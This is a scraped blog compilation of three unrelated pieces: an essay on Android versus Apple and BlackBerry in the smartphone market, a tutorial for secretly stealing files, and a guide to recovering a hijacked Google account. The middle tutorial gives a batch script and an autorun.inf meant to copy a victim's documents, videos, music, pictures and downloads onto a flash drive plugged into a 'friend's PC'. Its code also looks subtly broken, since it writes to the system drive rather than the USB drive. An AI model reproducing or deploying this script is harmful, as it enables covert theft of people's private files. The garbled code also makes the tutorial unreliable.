The War of the Smartphones

There is a battle in progress - the winner will take a profitable chunk out of the mobile phone market and with it the ad and app revenue generated therein. The problem is that the media, bloggers, journalists and even the public believe there is an on-going battle between Google and Apple/BlackBerry in progress. But in reality this isn't the case, far from it, in reality Apple and BlackBerry are competitors as they have handsets which use a proprietary operating system and then they spend a small fortune marketing the brand. Google does something else. It does not make handsets (granted the Nexus is a Google handset but made and co-branded by Samsung) and it does not sell its operating system (it gives it freely to handset manufacturers under terms which allow Google services to interact within the network and handset to generate advertising revenue).

This creates a quandary whereby Apple and RIM are creating in all intense and purposes 'lifestyle' devices incarceration within a pre-determined ecosystem and enclosed application-based environment but Google leaves the portcullis to the castle open to anyone able to adapt, develop and thereafter resell their software. The problem is that Apple/RIM are intoxicated by their own 'brand', although that is not to say Android isn't a brand it's just what that brand means and therein becomes associated with is completely different to anything Apple or RIM create and distribute.

Market share

So, what the issue here surrounds is that of the public perception whereby 'Google' is going to steal or beat Apple and RIM into inferiority within the smartphone market. However this just isn't the case, in reality a free Google product will help to see an increase in market share, but that does not mean Google captures that market share for its self. HTC or Samsung capture that market. We need to remember that Handsets and Operating Systems, partially due to the success of Android, have become divorced from one another. This cleavage creates a perception  problem and one that needs to be cleared up.

Android is battling BlackBerry and Apple

Apple makes the iPhone. The iPhone is in incredible piece of both technological and marketing accomplishment yet it's operating system iOS is confined to the Apple mobile computing environment. You cant install iOS on a BlackBerry 9780 or a HTC Sensation. So that means Android cannot be compared to Apple or BlackBerry in the same way. Yet, this is what has happened so far. The question is can this be healthy for the future of Android.

The argument about Android's open eco-system are predominantly based on the Wintel arguments of the 1990s where, generally perceived, PC manufacturers and Software manufacturers colluded to bring down quality and technical excellence so as they could compete on a race to the bottom. Price was everything and that's how Intel, Windows and HP/Dell or IBM won out! The arguments are transplanted into the twenty first century that Google's Android will with Samsung, HTC and Sony Erricson's help see 'excellence' eroded through a battle of 'dumbing down' and racing to the bottom and competing on price.

Customer Views'

Yet, the issue here is that we are arguing that BlackBerry and Apple, the undoubted smartphone pioneers, worked hard to keep their phones at a certain cost level so as to retain their incredibly profitable revenue streams from collapsing because of engineering excellence. Apple and RIM make billions from selling phones, so when Android came along and people like DoCoMo, Huwaei and HTC created mid-range phones offering similar experiences to the iPhone or BlackBerry but at a substantially reduced price this created the perfect storm to occur within the mobile phone market. Apple and RIM went tooth and nail for the premium customers whilst Android's open handset alliance went all out for the budget and mid-size customers. The result was the undoubtedly that Android would dominate the smartphone market. Android handsets are shipping at 3-1 to Apple or RIM handsets according to Catalyst/comScore but, importantly, to different customers. 

Apple and RIM are rivals but Google's Android isn't, yet, a competitive rival to these two smartphone rivals.

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Steal Files from Windows 7/Vista to USB Drive

In this Tutorial i'll show you, how to copy files from a Windows 7/Vista computer to your USB flash drive.

You can do this, just by creating a Batch file and autorun.inf file.

Let me tell you the basic things what will happen.

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off

:CHECK

if not exist “%homedrive%\Copied_files” md “%homedrive%\Copied_files”

if exist “%systemdrive%\files” goto COPIER7

goto ERROR

:COPIER7

if not exist “%homedrive%\Copied_files\%computername%” md “%homedrive%\Copied_files\%computername%”

if not exist “%homedrive%\Copied_files\%computername%\VIDEOS” md “%homedrive%\Copied_files\%computername%\VIDEOS”

if not exist “%homedrive%\Copied_files\%computername%\PICTURES” md “%homedrive%\Copied_files\%computername%\PICTURES”

if not exist “%homedrive%\Copied_files\%computername%\MUSIC” md “%homedrive%\Copied_files\%computername%\MUSIC”

if not exist “%homedrive%\Copied_files\%computername%\DOWNLOADS” md “%homedrive%\Copied_files\%computername%\DOWNLOADS”

copy /y “%userprofile%\Documents\*.*” “%homedrive%\Copied_files\%computername%”

copy /y “%userprofile%\Videos” “%homedrive%\Copied_files\%computername%\VIDEOS”

copy /y “%userprofile%\Music” “%homedrive%\Copied_files\%computername%\MUSIC”

copy /y “%userprofile%\Pictures” “%homedrive%\Copied_files\%computername%\PICTURES”

copy /y “%userprofile%\Downloads” “%homedrive%\Copied_files\%computername%\DOWNLOADS”

MSG %username% “DONE!”

exit

:ERROR

exit

What it actually does is in first case ,CHECK, it checks if your removable storage have folder named, Copied_files or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have files folder then it will assume that you are using windows Vista/7. Other wise it will return an error and exits.

Now I’ve defined another two cases after the first case CHECK, that is COPIER7 case and ERROR case.

Case COPIER7 will execute when the program recognizes it is Windows Vista/7, where the real copying work goes on.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let’s create a file that will load it automatically.

[autorun]

Open=Filename.bat

Action=File Copier

The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

Copy the two files, autorun.inf and Filename.bat in your flash drive.

Then plug in your device to your friends PC and do the evil things.

Where is the flaw?

It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).

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How to get back your Hacked GMail, Orkut, Google Account

This is my official reply to all mails/comments/scraps asking me how to get back hacked Gmail/Orkut/Google Account. Everyone should read this no matter how safe you think you are! 

As Google Account is a single account used across all Googles services like Gmail, Google+, Orkut, Blogger, Adsense, Checkout. etc, it can turn out to be our worst nightmare if it gets hacked!

Like many other online services Google tries to protect your account with secret question as well as optional secondary email address. But there is one more official option which only Google Provides!

Now lets go step-by-step…

1) Note Down the Verification Code

Whenever any account is registered with GOOGLE, it gives some confirmation messages and provide you a verification ID. Note down that verification id . If you are having that, recovering your account is just easy as burning a match stick.

2) Trying "Forget Password" option

 I know this will not work in most cases, as options like forget password rely on secondary email address and security question, both of which can be easily changed once a account gets hacked. Still you should try atleast once as most password gets hacked by script kiddies and not by real hackers.

So go to Forget Password form first!

3) What if "Forget Password" option FAILS

 You can submit a form to Google in which you can provide details about your Google Account usage.

Details include information which most likely only real owner can provide. Here are few things for example…

• Last successful login date
• Account creation date
• Google products you used with this account and the date you started using each one
• Details about Orkut account (if you use Orkut)
• Details about Blogger account (if you use Blogger)

Now most important part is what they quoted on the form,

“Please answer each question as thoroughly and accurately as possible. If you’re not certain about some of the information, provide your closest estimate. Whether or not we can return your account depends on the strength and accuracy of your responses.”

So I will suggest following things…

• Your goal should be to give Google maximum & accurate data! So take your time and submit form with maximum amount of information possible. You can consult your trusted friends if you are not sure. As an example it could be Sam or Bob who invited you on orkut. If you are not sure call them up and ask it!

• Submit only one form! Yes this should be common sense. Do not submit multiple forms. A person who uses around 10-15 Google products asked me if he can submit multiple forms mentioning different Google products.

• Submit form from the place which you use most often to access your account like PC at home! Although they haven’t mentioned this explicitly, line above submit button says, “Please note that we need your IP address in order to resolve this issue. Your IP address will be captured automatically when you submit this form.”

Finally Contact Form is here!!!

I advise everyone to have a look at this form and information it asks. You can prepare a document about secret info, may be in cell phone or pen down it on a paper. This will come handy if something goes wrong in future! 

I guess I have offered my best possible help on the issue. It may or may not work but thats all I can do.

If you don’t remember any detail required in the form or you just don’t get any reply from Google after submitting the form, please create a new account. There is no other option. Sorry.

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